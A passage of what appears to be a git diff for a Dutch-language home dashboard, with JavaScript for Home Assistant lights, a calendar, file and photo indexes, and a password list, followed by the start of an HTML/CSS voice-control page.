<div style="color:var(--text-dim)">OS</div><div>${esc(sys.os_guess||'Onbekend')}</div>
|
||||||
|
<div style="color:var(--text-dim)">Eerste scan</div><div>${(sys.first_seen||'').substring(0,16).replace('T',' ')}</div>
|
||||||
|
<div style="color:var(--text-dim)">Laatste scan</div><div>${(sys.last_seen||'').substring(0,16).replace('T',' ')}</div>
|
||||||
|
</div>
|
||||||
|
<h4 style="margin-bottom:8px">Open poorten (${sys.ports?.length||0})</h4>
|
||||||
|
<table class="file-table" style="width:100%">
|
||||||
|
<tr><th>Poort</th><th>Service</th><th>Banner</th></tr>
|
||||||
|
${portsHtml||'<tr><td colspan="3">Geen open poorten</td></tr>'}
|
||||||
|
</table>
|
||||||
|
<div class="modal-actions">
|
||||||
|
<button class="btn" onclick="closeModal()">Sluiten</button>
|
||||||
|
</div>`;
|
||||||
|
document.getElementById('modal-overlay').classList.add('show');
|
||||||
|
} catch(e) {
|
||||||
|
alert('Kan systeem-details niet laden: ' + e.message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ═══════════ CONFIG ═══════════
|
||||||
|
async function loadConfig() {
|
||||||
|
try {
|
||||||
|
const cfg = await fetch(`${API}/config`).then(r => r.json());
|
||||||
|
|
||||||
|
const connStatus = (connected) => connected
|
||||||
|
? '<span style="color:var(--success)">● verbonden</span>'
|
||||||
|
: '<span style="color:var(--warning)">○ niet geconfigureerd</span>';
|
||||||
|
|
||||||
|
document.getElementById('config-content').innerHTML = `
|
||||||
|
<div class="grid-2">
|
||||||
|
<div class="card" style="background:var(--surface2)">
|
||||||
|
<h4>🔌 Connecties</h4>
|
||||||
|
<div style="font-size:0.85rem;margin-top:8px">
|
||||||
|
<div style="margin-bottom:6px"><strong>Home Assistant</strong><br>${cfg.connections.home_assistant.url} ${connStatus(cfg.connections.home_assistant.connected)}</div>
|
||||||
|
<div style="margin-bottom:6px"><strong>PostgreSQL</strong><br>${cfg.connections.postgresql.host}:${cfg.connections.postgresql.port}/${cfg.connections.postgresql.database} (${cfg.connections.postgresql.user})</div>
|
||||||
|
<div style="margin-bottom:6px"><strong>Neo4j</strong><br>${cfg.connections.neo4j.uri} ${cfg.connections.neo4j.available ? '<span style="color:var(--success)">● bereikbaar</span>' : '<span style="color:var(--danger)">✗ niet bereikbaar</span>'}<br>
|
||||||
|
<span style="color:var(--text-dim)">${cfg.connections.neo4j.devices} devices • laatste scan: ${(cfg.connections.neo4j.last_scan||'nooit').substring(0,16).replace('T',' ')}</span></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="card" style="background:var(--surface2)">
|
||||||
|
<h4>📊 Database Status</h4>
|
||||||
|
<div style="font-size:0.85rem;margin-top:8px;display:grid;grid-template-columns:1fr 1fr;gap:4px">
|
||||||
|
<div>Favorieten:</div><div><strong>${cfg.counts.favorites}</strong></div>
|
||||||
|
<div>Wachtwoorden:</div><div><strong>${cfg.counts.passwords}</strong></div>
|
||||||
|
<div>Agenda events:</div><div><strong>${cfg.counts.calendar_events}</strong></div>
|
||||||
|
<div>Bestanden:</div><div><strong>${cfg.counts.files_indexed}</strong></div>
|
||||||
|
<div>Foto's:</div><div><strong>${cfg.counts.photos_indexed}</strong></div>
|
||||||
|
<div>Netwerk devices:</div><div><strong>${cfg.counts.network_devices}</strong></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="card" style="background:var(--surface2);margin-top:16px">
|
||||||
|
<h4>⚙️ Settings</h4>
|
||||||
|
<div style="font-size:0.85rem;margin-top:8px">
|
||||||
|
${Object.entries(cfg.settings||{}).map(([k,v]) => `<div style="margin-bottom:4px"><span style="color:var(--text-dim)">${k}:</span> <strong>${esc(v)}</strong></div>`).join('')}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="card" style="background:var(--surface2);margin-top:16px">
|
||||||
|
<h4>🖥️ Server</h4>
|
||||||
|
<div style="font-size:0.85rem;margin-top:8px">
|
||||||
|
<div>Host: ${cfg.server.host}:${cfg.server.port}</div>
|
||||||
|
<div>Whisper: ${cfg.server.whisper_mode} (${cfg.server.whisper_model}) op ${cfg.server.whisper_device}</div>
|
||||||
|
</div>
|
||||||
|
</div>`;
|
||||||
|
} catch(e) {
|
||||||
|
document.getElementById('config-content').innerHTML =
|
||||||
|
'<span style="color:var(--danger)">Kan config niet laden.</span>';
|
||||||
|
console.error(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ═══════════ LIGHTS ═══════════
|
||||||
|
async function loadLights() {
|
||||||
|
try {
|
||||||
|
const r = await fetch('/api/lights'); const lights = await r.json();
|
||||||
|
document.getElementById('lights-grid').innerHTML = lights.map(l => `
|
||||||
|
<div class="card" style="cursor:pointer" onclick="toggleLight('${l.entity_id}','${l.state==='on'?'turn_off':'turn_on'}')">
|
||||||
|
<div style="display:flex;align-items:center;gap:12px">
|
||||||
|
<span style="font-size:2rem">${l.state==='on'?'💡':'🌑'}</span>
|
||||||
|
<div style="flex:1">
|
||||||
|
<div style="font-weight:500">${esc(l.friendly_name||l.entity_id)}</div>
|
||||||
|
<div style="font-size:0.8rem;color:var(--text-dim)">${l.state==='on'?'Aan'+(l.brightness?` ${Math.round(l.brightness/2.55)}%`:'') : 'Uit'}</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
`).join('') || '<span style="color:var(--text-dim)">Geen lampen</span>';
|
||||||
|
} catch(e) { document.getElementById('lights-grid').innerHTML = '<span style="color:var(--danger)">Fout bij laden</span>'; }
|
||||||
|
}
|
||||||
|
|
||||||
|
async function toggleLight(entityId, action) {
|
||||||
|
await fetch('/api/light/control', {
|
||||||
|
method:'POST', headers:{'Content-Type':'application/json'},
|
||||||
|
body: JSON.stringify({entity_id:entityId, action})
|
||||||
|
});
|
||||||
|
setTimeout(loadLights, 300);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ═══════════ CALENDAR ═══════════
|
||||||
|
async function loadCalendar() {
|
||||||
|
const now = new Date();
|
||||||
|
if (!calYear) { calYear = now.getFullYear(); calMonth = now.getMonth(); }
|
||||||
|
const months = ['Jan','Feb','Mrt','Apr','Mei','Jun','Jul','Aug','Sep','Okt','Nov','Dec'];
|
||||||
|
document.getElementById('cal-month-label').textContent = `${months[calMonth]} ${calYear}`;
|
||||||
|
|
||||||
|
const firstDay = new Date(calYear, calMonth, 1).getDay(); // 0=Sun
|
||||||
|
const daysInMonth = new Date(calYear, calMonth+1, 0).getDate();
|
||||||
|
const prevDays = new Date(calYear, calMonth, 0).getDate();
|
||||||
|
|
||||||
|
// Haal events
|
||||||
|
let events = [];
|
||||||
|
try {
|
||||||
|
events = await fetch(`${API}/calendar?days=90`).then(r=>r.json());
|
||||||
|
} catch(e) {}
|
||||||
|
|
||||||
|
const eventDays = new Set(events.map(e => e.event_start?.substring(0,10)));
|
||||||
|
|
||||||
|
let html = '<div class="cal-day-header">Zo</div><div class="cal-day-header">Ma</div><div class="cal-day-header">Di</div><div class="cal-day-header">Wo</div><div class="cal-day-header">Do</div><div class="cal-day-header">Vr</div><div class="cal-day-header">Za</div>';
|
||||||
|
|
||||||
|
const today = new Date().toISOString().substring(0,10);
|
||||||
|
|
||||||
|
for (let i = firstDay-1; i >= 0; i--) {
|
||||||
|
html += `<div class="cal-day other-month">${prevDays - i}</div>`;
|
||||||
|
}
|
||||||
|
for (let d = 1; d <= daysInMonth; d++) {
|
||||||
|
const dateStr = `${calYear}-${String(calMonth+1).padStart(2,'0')}-${String(d).padStart(2,'0')}`;
|
||||||
|
const classes = ['cal-day'];
|
||||||
|
if (dateStr === calSelectedDate) classes.push('selected');
|
||||||
|
if (dateStr === today) classes.push('today');
|
||||||
|
if (eventDays.has(dateStr)) classes.push('has-event');
|
||||||
|
html += `<div class="${classes.join(' ')}" onclick="selectDate('${dateStr}')">${d}</div>`;
|
||||||
|
}
|
||||||
|
const remaining = 42 - (firstDay + daysInMonth);
|
||||||
|
for (let d = 1; d <= remaining; d++) {
|
||||||
|
html += `<div class="cal-day other-month">${d}</div>`;
|
||||||
|
}
|
||||||
|
|
||||||
|
document.getElementById('calendar-grid').innerHTML = html;
|
||||||
|
if (calSelectedDate) selectDate(calSelectedDate);
|
||||||
|
}
|
||||||
|
|
||||||
|
function calShift(dir) {
|
||||||
|
if (dir === 0) { const n=new Date(); calYear=n.getFullYear(); calMonth=n.getMonth(); }
|
||||||
|
else { calMonth += dir; if(calMonth<0){calMonth=11;calYear--;} if(calMonth>11){calMonth=0;calYear++;} }
|
||||||
|
loadCalendar();
|
||||||
|
}
|
||||||
|
|
||||||
|
async function selectDate(dateStr) {
|
||||||
|
calSelectedDate = dateStr;
|
||||||
|
document.getElementById('cal-date-label').textContent = `Events — ${dateStr}`;
|
||||||
|
try {
|
||||||
|
const events = await fetch(`${API}/calendar?days=90`).then(r=>r.json());
|
||||||
|
const dayEvents = events.filter(e => e.event_start?.substring(0,10) === dateStr);
|
||||||
|
document.getElementById('event-list').innerHTML = dayEvents.map(e => `
|
||||||
|
<div class="event-item" style="border-left-color:${e.color||'var(--accent)'}">
|
||||||
|
<span class="event-time">${e.event_start?.split('T')[1]?.substring(0,5)||'--:--'}</span>
|
||||||
|
<span class="event-title">${esc(e.title)}</span>
|
||||||
|
<button class="btn btn-sm btn-danger" style="margin-left:auto" onclick="deleteEvent(${e.id})">x</button>
|
||||||
|
</div>
|
||||||
|
`).join('') || '<span style="color:var(--text-dim)">Geen events op deze dag</span>';
|
||||||
|
} catch(e) {}
|
||||||
|
loadCalendar();
|
||||||
|
}
|
||||||
|
|
||||||
|
function showEventModal() {
|
||||||
|
document.getElementById('modal-content').innerHTML = `
|
||||||
|
<h2>Nieuw event</h2>
|
||||||
|
<div class="form-group"><label>Titel</label><input id="ev-title"></div>
|
||||||
|
<div class="form-row">
|
||||||
|
<div class="form-group"><label>Datum</label><input type="date" id="ev-date" value="${calSelectedDate||new Date().toISOString().substring(0,10)}"></div>
|
||||||
|
<div class="form-group"><label>Tijd</label><input type="time" id="ev-time" value="09:00"></div>
|
||||||
|
</div>
|
||||||
|
<div class="modal-actions">
|
||||||
|
<button class="btn" onclick="closeModal()">Annuleren</button>
|
||||||
|
<button class="btn btn-primary" onclick="saveEvent()">Opslaan</button>
|
||||||
|
</div>`;
|
||||||
|
document.getElementById('modal-overlay').classList.add('show');
|
||||||
|
}
|
||||||
|
|
||||||
|
async function saveEvent() {
|
||||||
|
const title = document.getElementById('ev-title').value;
|
||||||
|
const date = document.getElementById('ev-date').value;
|
||||||
|
const time = document.getElementById('ev-time').value;
|
||||||
|
if(!title){alert('Titel is verplicht');return;}
|
||||||
|
await fetch(`${API}/calendar`, {
|
||||||
|
method:'POST', headers:{'Content-Type':'application/json'},
|
||||||
|
body: JSON.stringify({title, event_start: `${date}T${time}:00`, all_day: false})
|
||||||
|
});
|
||||||
|
closeModal(); loadCalendar();
|
||||||
|
}
|
||||||
|
|
||||||
|
async function deleteEvent(id) {
|
||||||
|
await fetch(`${API}/calendar/${id}`, {method:'DELETE'});
|
||||||
|
loadCalendar(); selectDate(calSelectedDate);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ═══════════ FILES ═══════════
|
||||||
|
async function loadFiles(search='') {
|
||||||
|
try {
|
||||||
|
const r = await fetch(`${API}/files?search=${encodeURIComponent(search)}&limit=100`);
|
||||||
|
const d = await r.json();
|
||||||
|
document.getElementById('file-count').textContent = `${d.total||0} bestanden`;
|
||||||
|
document.getElementById('file-table').innerHTML = `
|
||||||
|
<tr><th>Naam</th><th>Type</th><th>Grootte</th><th>Locatie</th><th>Datum</th></tr>
|
||||||
|
${(d.files||[]).map(f => `
|
||||||
|
<tr>
|
||||||
|
<td>${esc(f.file_name)}</td>
|
||||||
|
<td>${f.file_type||'-'}</td>
|
||||||
|
<td>${formatSize(f.file_size)}</td>
|
||||||
|
<td>${esc(f.source_host||'')}</td>
|
||||||
|
<td>${f.last_modified?.substring(0,10)||'-'}</td>
|
||||||
|
</tr>`).join('')}`;
|
||||||
|
} catch(e) { document.getElementById('file-table').innerHTML = '<tr><td colspan="5">Geen bestanden geindexeerd. Run de file scanner.</td></tr>'; }
|
||||||
|
}
|
||||||
|
|
||||||
|
function formatSize(bytes) {
|
||||||
|
if (!bytes) return '-';
|
||||||
|
const units = ['B','KB','MB','GB','TB'];
|
||||||
|
let i = 0; while (bytes >= 1024 && i < 4) { bytes /= 1024; i++; }
|
||||||
|
return `${bytes.toFixed(1)} ${units[i]}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ═══════════ PHOTOS ═══════════
|
||||||
|
async function loadPhotos() {
|
||||||
|
try {
|
||||||
|
// Laad persons voor filter
|
||||||
|
const persons = await fetch(`${API}/photos/persons`).then(r=>r.json());
|
||||||
|
const sel = document.getElementById('photo-filter');
|
||||||
|
sel.innerHTML = '<option value="">Alle foto\'s</option>' + persons.map(p => `<option value="${p.id}">${esc(p.name)} (${p.photo_count})</option>`).join('');
|
||||||
|
|
||||||
|
const personId = sel.value;
|
||||||
|
const url = personId ? `${API}/photos?person_id=${personId}&limit=50` : `${API}/photos?limit=50`;
|
||||||
|
const photos = await fetch(url).then(r=>r.json());
|
||||||
|
document.getElementById('photo-grid').innerHTML = photos.map(p => `
|
||||||
|
<div class="photo-thumb">
|
||||||
|
<div style="display:flex;align-items:center;justify-content:center;height:100%;color:var(--text-dim);font-size:0.8rem">
|
||||||
|
📷 ${esc(p.file_name||'')}
|
||||||
|
${p.faces_detected ? `<div class="photo-face-badge">${p.faces_detected} 👤</div>` : ''}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
`).join('') || '<span style="color:var(--text-dim);grid-column:1/-1">Nog geen foto\'s geindexeerd. Gebruik de file scanner met face recognition.</span>';
|
||||||
|
} catch(e) { console.error(e); }
|
||||||
|
}
|
||||||
|
|
||||||
|
// ═══════════ PASSWORDS ═══════════
|
||||||
|
async function loadPasswords(search='') {
|
||||||
|
try {
|
||||||
|
const url = search ? `${API}/passwords?search=${encodeURIComponent(search)}` : `${API}/passwords`;
|
||||||
|
const pws = await fetch(url).then(r=>r.json());
|
||||||
|
document.getElementById('password-list').innerHTML = pws.map(p => `
|
||||||
|
<div class="pw-item">
|
||||||
|
<span class="pw-icon">🔐</span>
|
||||||
|
<div class="pw-info">
|
||||||
|
<div class="pw-title">${esc(p.title)}</div>
|
||||||
|
<div class="pw-user">${esc(p.username||'')} ${p.url ? '• '+esc(p.url) : ''}</div>
|
||||||
|
</div>
|
||||||
|
<div class="pw-actions">
|
||||||
|
<button class="btn btn-sm" onclick="copyPassword(${p.id})">📋</button>
|
||||||
|
<button class="btn btn-sm btn-danger" onclick="deletePassword(${p.id})">x</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
`).join('') || '<span style="color:var(--text-dim)">Geen wachtwoorden</span>';
|
||||||
|
} catch(e) { console.error(e); }
|
||||||
|
}
|
||||||
|
|
||||||
|
async function copyPassword(id) {
|
||||||
|
const r = await fetch(`${API}/passwords/${id}`); const d = await r.json();
|
||||||
|
await navigator.clipboard.writeText(d.password);
|
||||||
|
alert('Wachtwoord gekopieerd!');
|
||||||
|
}
|
||||||
|
|
||||||
|
function showPasswordModal() {
|
||||||
|
document.getElementById('modal-content').innerHTML = `
|
||||||
|
<h2>Nieuw wachtwoord</h2>
|
||||||
|
<div class="form-group"><label>Titel</label><input id="pw-title"></div>
|
||||||
|
<div class="form-row">
|
||||||
|
<div class="form-group"><label>Gebruikersnaam</label><input id="pw-user"></div>
|
||||||
|
<div class="form-group"><label>Wachtwoord</label><input type="password" id="pw-pass"></div>
|
||||||
|
</div>
|
||||||
|
<div class="form-group"><label>URL</label><input id="pw-url"></div>
|
||||||
|
<div class="modal-actions">
|
||||||
|
<button class="btn" onclick="closeModal()">Annuleren</button>
|
||||||
|
<button class="btn btn-primary" onclick="savePassword()">Opslaan</button>
|
||||||
|
</div>`;
|
||||||
|
document.getElementById('modal-overlay').classList.add('show');
|
||||||
|
}
|
||||||
|
|
||||||
|
async function savePassword() {
|
||||||
|
const title=document.getElementById('pw-title').value, username=document.getElementById('pw-user').value;
|
||||||
|
const password=document.getElementById('pw-pass').value, url=document.getElementById('pw-url').value;
|
||||||
|
if(!title||!password){alert('Titel en wachtwoord zijn verplicht');return;}
|
||||||
|
await fetch(`${API}/passwords`, {
|
||||||
|
method:'POST', headers:{'Content-Type':'application/json'},
|
||||||
|
body: JSON.stringify({title,username,password,url})
|
||||||
|
});
|
||||||
|
closeModal(); loadPasswords();
|
||||||
|
}
|
||||||
|
|
||||||
|
async function deletePassword(id) {
|
||||||
|
if(!confirm('Verwijderen?'))return;
|
||||||
|
await fetch(`${API}/passwords/${id}`, {method:'DELETE'});
|
||||||
|
loadPasswords();
|
||||||
|
}
|
||||||
|
|
||||||
|
// ═══════════ QUICK LINKS ═══════════
|
||||||
|
async function loadLinks() {
|
||||||
|
try {
|
||||||
|
const links = await fetch(`${API}/favorites`).then(r=>r.json());
|
||||||
|
const grouped = {}; links.forEach(l => { if(!grouped[l.category])grouped[l.category]=[]; grouped[l.category].push(l); });
|
||||||
|
let html = '';
|
||||||
|
for(const [cat, items] of Object.entries(grouped)) {
|
||||||
|
html += `<div style="grid-column:1/-1;margin-top:12px;color:var(--text-dim);font-size:0.8rem;font-weight:600;text-transform:uppercase">${esc(cat)}</div>`;
|
||||||
|
html += items.map(l => `<a class="quick-link" href="${esc(l.url)}" target="_blank"><span class="ql-icon">${l.icon||'⭐'}</span><div class="ql-info"><div class="ql-title">${esc(l.title)}</div><div class="ql-url">${esc(l.url)}</div></div></a>`).join('');
|
||||||
|
}
|
||||||
|
document.getElementById('all-links').innerHTML = html || '<span style="color:var(--text-dim)">Geen links</span>';
|
||||||
|
} catch(e) { console.error(e); }
|
||||||
|
}
|
||||||
|
|
||||||
|
function showLinkModal() {
|
||||||
|
document.getElementById('modal-content').innerHTML = `
|
||||||
|
<h2>Nieuwe Quick Link</h2>
|
||||||
|
<div class="form-group"><label>Titel</label><input id="ql-title"></div>
|
||||||
|
<div class="form-group"><label>URL</label><input id="ql-url"></div>
|
||||||
|
<div class="form-row">
|
||||||
|
<div class="form-group"><label>Icoon</label><input id="ql-icon" value="⭐"></div>
|
||||||
|
<div class="form-group"><label>Categorie</label><input id="ql-cat" value="Algemeen"></div>
|
||||||
|
</div>
|
||||||
|
<div class="modal-actions">
|
||||||
|
<button class="btn" onclick="closeModal()">Annuleren</button>
|
||||||
|
<button class="btn btn-primary" onclick="saveLink()">Opslaan</button>
|
||||||
|
</div>`;
|
||||||
|
document.getElementById('modal-overlay').classList.add('show');
|
||||||
|
}
|
||||||
|
|
||||||
|
async function saveLink() {
|
||||||
|
const title=document.getElementById('ql-title').value, url=document.getElementById('ql-url').value;
|
||||||
|
const icon=document.getElementById('ql-icon').value, category=document.getElementById('ql-cat').value;
|
||||||
|
if(!title||!url){alert('Titel en URL zijn verplicht');return;}
|
||||||
|
await fetch(`${API}/favorites`, {
|
||||||
|
method:'POST', headers:{'Content-Type':'application/json'},
|
||||||
|
body: JSON.stringify({title,url,icon,category})
|
||||||
|
});
|
||||||
|
closeModal(); loadLinks();
|
||||||
|
}
|
||||||
|
|
||||||
|
// ═══════════ MODAL ═══════════
|
||||||
|
function closeModal() { document.getElementById('modal-overlay').classList.remove('show'); }
|
||||||
|
document.getElementById('modal-overlay').addEventListener('click', function(e) { if(e.target===this) closeModal(); });
|
||||||
|
|
||||||
|
// ═══════════ HELPERS ═══════════
|
||||||
|
function esc(s) { if(!s) return ''; const d=document.createElement('div'); d.textContent=s; return d.innerHTML; }
|
||||||
|
|
||||||
|
// ═══════════ INIT ═══════════
|
||||||
|
loadOverview();
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,591 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="nl">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>HA Voice Control</title>
|
||||||
|
<style>
|
||||||
|
:root {
|
||||||
|
--bg: #0d1117;
|
||||||
|
--surface: #161b22;
|
||||||
|
--border: #30363d;
|
||||||
|
--text: #e6edf3;
|
||||||
|
--text-dim: #8b949e;
|
||||||
|
--accent: #58a6ff;
|
||||||
|
--danger: #f85149;
|
||||||
|
--success: #3fb950;
|
||||||
|
--warning: #d29922;
|
||||||
|
--mic-bg: #1a2332;
|
||||||
|
--mic-active: #da3633;
|
||||||
|
--radius: 12px;
|
||||||
|
}
|
||||||
|
|
||||||
|
* { margin: 0; padding: 0; box-sizing: border-box; }
|
||||||
|
|
||||||
|
body {
|
||||||
|
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
|
||||||
|
background: var(--bg);
|
||||||
|
color: var(--text);
|
||||||
|
min-height: 100vh;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
align-items: center;
|
||||||
|
padding: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
header {
|
||||||
|
text-align: center;
|
||||||
|
margin-bottom: 20px;
|
||||||
|
}
|
||||||
|
header h1 {
|
||||||
|
font-size: 1.6rem;
|
||||||
|
font-weight: 600;
|
||||||
|
letter-spacing: -0.02em;
|
||||||
|
}
|
||||||
|
header p {
|
||||||
|
color: var(--text-dim);
|
||||||
|
font-size: 0.9rem;
|
||||||
|
margin-top: 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.status-bar {
|
||||||
|
display: flex;
|
||||||
|
gap: 8px;
|
||||||
|
align-items: center;
|
||||||
|
margin-bottom: 24px;
|
||||||
|
font-size: 0.85rem;
|
||||||
|
color: var(--text-dim);
|
||||||
|
}
|
||||||
|
.status-dot {
|
||||||
|
width: 8px; height: 8px;
|
||||||
|
border-radius: 50%;
|
||||||
|
background: var(--text-dim);
|
||||||
|
}
|
||||||
|
.status-dot.connected { background: var(--success); }
|
||||||
|
.status-dot.error { background: var(--danger); }
|
||||||
|
|
||||||
|
/* ── mic button ─────────────────────────────── */
|
||||||
|
.mic-container {
|
||||||
|
position: relative;
|
||||||
|
margin-bottom: 32px;
|
||||||
|
}
|
||||||
|
.mic-ripple {
|
||||||
|
position: absolute;
|
||||||
|
inset: -8px;
|
||||||
|
border-radius: 50%;
|
||||||
|
border: 3px solid var(--mic-active);
|
||||||
|
opacity: 0;
|
||||||
|
pointer-events: none;
|
||||||
|
}
|
||||||
|
.mic-ripple.active {
|
||||||
|
animation: ripple 1.5s ease-out infinite;
|
||||||
|
}
|
||||||
|
@keyframes ripple {
|
||||||
|
0% { transform: scale(1); opacity: 0.6; }
|
||||||
|
100% { transform: scale(1.4); opacity: 0; }
|
||||||
|
}
|
||||||
|
|
||||||
|
#mic-btn {
|
||||||
|
width: 120px; height: 120px;
|
||||||
|
border-radius: 50%;
|
||||||
|
border: 3px solid var(--border);
|
||||||
|
background: var(--mic-bg);
|
||||||
|
cursor: pointer;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
transition: all 0.2s ease;
|
||||||
|
position: relative;
|
||||||
|
z-index: 1;
|
||||||
|
-webkit-tap-highlight-color: transparent;
|
||||||
|
user-select: none;
|
||||||
|
}
|
||||||
|
#mic-btn:hover {
|
||||||
|
border-color: var(--accent);
|
||||||
|
transform: scale(1.05);
|
||||||
|
}
|
||||||
|
#mic-btn:active {
|
||||||
|
transform: scale(0.97);
|
||||||
|
}
|
||||||
|
#mic-btn.recording {
|
||||||
|
border-color: var(--mic-active);
|
||||||
|
background: #1f1217;
|
||||||
|
box-shadow: 0 0 32px rgba(248, 81, 73, 0.25);
|
||||||
|
}
|
||||||
|
#mic-btn svg {
|
||||||
|
width: 48px; height: 48px;
|
||||||
|
fill: var(--text);
|
||||||
|
transition: fill 0.2s;
|
||||||
|
}
|
||||||
|
#mic-btn.recording svg {
|
||||||
|
fill: var(--mic-active);
|
||||||
|
}
|
||||||
|
.mic-label {
|
||||||
|
text-align: center;
|
||||||
|
margin-top: 12px;
|
||||||
|
font-size: 0.9rem;
|
||||||
|
color: var(--text-dim);
|
||||||
|
transition: color 0.2s;
|
||||||
|
}
|
||||||
|
.mic-label.recording {
|
||||||
|
color: var(--mic-active);
|
||||||
|
font-weight: 500;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── transcriptie resultaten ────────────────── */
|
||||||
|
.result-card {
|
||||||
|
background: var(--surface);
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: var(--radius);
|
||||||
|
padding: 16px 20px;
|
||||||
|
margin-bottom: 16px;
|
||||||
|
width: 100%;
|
||||||
|
max-width: 480px;
|
||||||
|
min-height: 48px;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 10px;
|
||||||
|
}
|
||||||
|
.result-card .icon {
|
||||||
|
font-size: 1.4rem;
|
||||||
|
flex-shrink: 0;
|
||||||
|
}
|
||||||
|
.result-card .content {
|
||||||
|
flex: 1;
|
||||||
|
font-size: 0.95rem;
|
||||||
|
line-height: 1.5;
|
||||||
|
}
|
||||||
|
.result-card .text-transcript {
|
||||||
|
font-weight: 500;
|
||||||
|
margin-bottom: 4px;
|
||||||
|
}
|
||||||
|
.result-card .text-response {
|
||||||
|
color: var(--text-dim);
|
||||||
|
font-size: 0.85rem;
|
||||||
|
}
|
||||||
|
.result-card.error { border-color: var(--danger); }
|
||||||
|
.result-card.success { border-color: var(--success); }
|
||||||
|
|
||||||
|
/* ── lichten paneel ──────────────────────────── */
|
||||||
|
.lights-panel {
|
||||||
|
width: 100%;
|
||||||
|
max-width: 480px;
|
||||||
|
}
|
||||||
|
.lights-panel h2 {
|
||||||
|
font-size: 1rem;
|
||||||
|
font-weight: 600;
|
||||||
|
margin-bottom: 12px;
|
||||||
|
color: var(--text-dim);
|
||||||
|
text-transform: uppercase;
|
||||||
|
letter-spacing: 0.05em;
|
||||||
|
}
|
||||||
|
.light-item {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 12px;
|
||||||
|
padding: 12px 16px;
|
||||||
|
background: var(--surface);
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: var(--radius);
|
||||||
|
margin-bottom: 8px;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: background 0.15s;
|
||||||
|
}
|
||||||
|
.light-item:hover {
|
||||||
|
background: #1c2129;
|
||||||
|
}
|
||||||
|
.light-icon {
|
||||||
|
font-size: 1.4rem;
|
||||||
|
}
|
||||||
|
.light-info {
|
||||||
|
flex: 1;
|
||||||
|
}
|
||||||
|
.light-name {
|
||||||
|
font-size: 0.95rem;
|
||||||
|
font-weight: 500;
|
||||||
|
}
|
||||||
|
.light-state {
|
||||||
|
font-size: 0.8rem;
|
||||||
|
color: var(--text-dim);
|
||||||
|
}
|
||||||
|
.light-toggle {
|
||||||
|
width: 48px; height: 28px;
|
||||||
|
border-radius: 14px;
|
||||||
|
background: var(--border);
|
||||||
|
cursor: pointer;
|
||||||
|
position: relative;
|
||||||
|
transition: background 0.2s;
|
||||||
|
border: none;
|
||||||
|
flex-shrink: 0;
|
||||||
|
}
|
||||||
|
.light-toggle.on {
|
||||||
|
background: var(--accent);
|
||||||
|
}
|
||||||
|
.light-toggle::after {
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
top: 3px; left: 3px;
|
||||||
|
width: 22px; height: 22px;
|
||||||
|
border-radius: 50%;
|
||||||
|
background: white;
|
||||||
|
transition: transform 0.2s;
|
||||||
|
}
|
||||||
|
.light-toggle.on::after {
|
||||||
|
transform: translateX(20px);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── spinner ─────────────────────────────────── */
|
||||||
|
.spinner {
|
||||||
|
width: 20px; height: 20px;
|
||||||
|
border: 2px solid var(--border);
|
||||||
|
border-top-color: var(--accent);
|
||||||
|
border-radius: 50%;
|
||||||
|
animation: spin 0.7s linear infinite;
|
||||||
|
}
|
||||||
|
@keyframes spin { to { transform: rotate(360deg); } }
|
||||||
|
|
||||||
|
/* ── responsive ──────────────────────────────── */
|
||||||
|
@media (max-width: 500px) {
|
||||||
|
#mic-btn { width: 100px; height: 100px; }
|
||||||
|
#mic-btn svg { width: 38px; height: 38px; }
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<header>
|
||||||
|
<h1>🏠 Home Assistant Voice Control</h1>
|
||||||
|
<p>Druk op de microfoon, spreek je commando, en laat los</p>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
<div class="status-bar">
|
||||||
|
<div class="status-dot" id="status-dot"></div>
|
||||||
|
<span id="status-text">Verbinden...</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- microfoon knop -->
|
||||||
|
<div class="mic-container">
|
||||||
|
<div class="mic-ripple" id="mic-ripple"></div>
|
||||||
|
<button id="mic-btn" aria-label="Microfoon">
|
||||||
|
<svg viewBox="0 0 24 24"><path d="M12 14a3 3 0 0 0 3-3V5a3 3 0 0 0-6 0v6a3 3 0 0 0 3 3zm5-3a5 5 0 0 1-10 0H5a7 7 0 0 0 6 6.93V21h2v-3.07A7 7 0 0 0 19 11h-2z"/></svg>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="mic-label" id="mic-label">Houd ingedrukt om te spreken</div>
|
||||||
|
|
||||||
|
<!-- resultaten -->
|
||||||
|
<div id="results"></div>
|
||||||
|
|
||||||
|
<!-- laad spinner -->
|
||||||
|
